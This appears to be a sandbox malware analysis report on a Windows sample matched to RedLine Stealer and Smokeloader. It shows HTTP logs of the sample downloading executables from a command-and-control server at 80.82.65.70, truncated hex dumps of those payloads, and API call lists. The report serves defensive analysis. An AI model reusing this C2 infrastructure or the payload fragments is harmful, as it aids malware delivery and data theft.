Dec 12, 2024 23:08:39.393654108 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:39 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:41.422441959 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:41.907651901 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:41 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:44.088036060 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:44.574139118 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:44 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:46.593786955 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:47.087066889 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:49.108146906 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:49.593318939 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:49 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:51.623811007 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:52.125850916 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:51 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:54.155693054 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:54.648149967 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:54 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:56.672337055 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:57.158531904 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:59.186223984 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:59.674966097 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:59 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	80.82.65.70	80	7020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 23:09:02.840718031 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:09:04.324552059 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:09:03 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 12, 2024 23:09:04.324577093 CET	1236	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(*~to(3to^(
Dec 12, 2024 23:09:04.324600935 CET	1236	IN	Data Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03 Data Ascii: {R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({VR}Vs({WR}Ws(F{cot
Dec 12, 2024 23:09:04.324610949 CET	1236	IN	Data Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 Data Ascii: }q{r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(
Dec 12, 2024 23:09:04.324621916 CET	1236	IN	Data Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 Data Ascii: ]s((rp}rp}rp}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(*rp}rp}sm}
Dec 12, 2024 23:09:04.324631929 CET	1236	IN	Data Raw: 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 1e 02 7b cd 00 00 04 2a 76 03 16 30 0b 72 10 16 00 70 73 41 01 00 0a 7a 02 03 7d cd 00 00 04 02 28 da 01 00 06 2a 1e 02 7b ce 00 00 04 2a 76 02 03 7d ce 00 00 04 02 28 db 00 00 0a 2c 07 02 03 7d d1 00 00 Data Ascii: o/(z{v0rpsAz}({v}(,}({:}({:}(({o{ZX/{o{ZX((J{oooJ{oxo2{
Dec 12, 2024 23:09:04.324644089 CET	1236	IN	Data Raw: 7d 03 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 04 01 00 04 2a 3a 02 03 7d 04 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 05 01 00 04 2a 3a 02 03 7d 05 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 06 01 00 04 2a 3a 02 03 7d 06 01 00 04 02 28 6d 02 00 06 2a 1e Data Ascii: }(m{:}(m{:}(m{:}(m{{:}(m{:}(m{:}(m{:}(m{2{o^{{oo:}(m:
Dec 12, 2024 23:09:04.324908972 CET	1236	IN	Data Raw: 02 7b 2b 01 00 04 03 6f 6f 00 00 0a 2a 32 02 7b 2b 01 00 04 6f f2 00 00 0a 2a 7a 03 2c 13 02 7b 2a 01 00 04 2c 0b 02 7b 2a 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 0a 16 2a 36 02 28 26 00 00 0a 02 28 dd 02 00 06 2a 52 02 28 26 00 00 0a 03 Data Ascii: {+oo2{+oz,{,{o/(z*6(&(R(&o(z,{-,{-o/(2s}-}6{=ob-{=o\rTp(;&z,{<,{<o/(z:{0ot*:{/ot
Dec 12, 2024 23:09:04.324928999 CET	1236	IN	Data Raw: 00 06 28 39 00 00 0a 2a 56 72 52 1d 00 70 72 96 1d 00 70 72 ac 1d 00 70 28 41 03 00 06 2a 56 72 a8 0f 00 70 80 5d 01 00 04 7e d8 01 00 0a 80 5e 01 00 04 2a 3e 02 fe 15 39 00 00 02 02 03 7d 5f 01 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 Data Ascii: (9VrRprprp(AVrp]~^>9}_(Co(D(E}_(F(E(&>:}d(Co(D}d(F(E(&";><}n{u"}u{v"}v{w"
Dec 12, 2024 23:09:04.324939966 CET	556	IN	Data Raw: 01 00 04 2c 0e 02 7b 99 01 00 04 02 04 6f 23 02 00 0a 2a 04 17 6f 14 04 00 06 2a 8a 02 7b a6 01 00 04 03 6f 28 02 00 0a 2c 12 02 7b a6 01 00 04 03 6f 29 02 00 0a 6f 2c 04 00 06 2a 16 2a 2a 03 75 10 00 00 01 14 fe 03 2a 1e 02 7b aa 01 00 04 2a 22 Data Ascii: ,{o#o{o(,{o)o,**u{"}{J{{(F(uNoKJ(uNoLF(uNoMJ(uNoN{"}{"}{"}
Dec 12, 2024 23:09:04.445004940 CET	1236	IN	Data Raw: 02 03 7d d1 01 00 04 2a 1e 02 7b d2 01 00 04 2a 22 02 03 7d d2 01 00 04 2a 1e 02 7b d3 01 00 04 2a 22 02 03 7d d3 01 00 04 2a 1e 02 7b d4 01 00 04 2a 22 02 03 7d d4 01 00 04 2a 1e 02 7b d5 01 00 04 2a 22 02 03 7d d5 01 00 04 2a 1e 02 7b d6 01 00 Data Ascii: }{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}
Dec 12, 2024 23:09:05.215993881 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:09:05.948359013 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:09:05 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 7020, Parent PID: 2580

General

Target ID:	0
Start time:	17:08:03
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'948'672 bytes
MD5 hash:	DD44780D69D56D86BD3BE9D6CA0F69A9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 1712, Parent PID: 7020

General

Target ID:	6
Start time:	17:09:07
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1704
Imagebase:	0xe70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 7020, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	57%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00403D20 Relevance: 56.1, APIs: 25, Strings: 6, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,F6E2F767,74DF0F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,F6E2F767), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.COMBASE(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

]DFE, xrefs: 00404640
SUB=, xrefs: 00405A98
viFO, xrefs: 004048DA
^OX*, xrefs: 00404B6B
get, xrefs: 00405E91
KDOX, xrefs: 004048E4

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-4208347134
Opcode ID: 707aadf0ad7efe9cfe25786436bfbcbcee470b857402ad826f90f51f489fb38e
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: 707aadf0ad7efe9cfe25786436bfbcbcee470b857402ad826f90f51f489fb38e
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 40.1, APIs: 16, Strings: 6, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,F6E2F767), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,0042DB3D,?,?,?,?,?,?,?,?,?,?,00000000,0042DB21), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,0042DB3D,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219
DFEK, xrefs: 0040535C
SUB=, xrefs: 00405A98
updateSW, xrefs: 0040565B
get, xrefs: 00405E91
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-3680244588
Opcode ID: 5eb90190946517c244c656875080c9f0771ae3840bd27c0281f4b0b2f0e03175
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: 5eb90190946517c244c656875080c9f0771ae3840bd27c0281f4b0b2f0e03175
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

p.@P.@0.@, xrefs: 004030C5
alignedImageSize != AlignValueUp!, xrefs: 0040300C
DOS header is not valid!, xrefs: 00402F12
Size is not valid!, xrefs: 00402EE8
DOS header size is not valid!, xrefs: 00402F51
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93
Section alignment invalid!, xrefs: 00402FA7
ERROR_OUTOFMEMORY!, xrefs: 00403042

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,F6E2F767), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

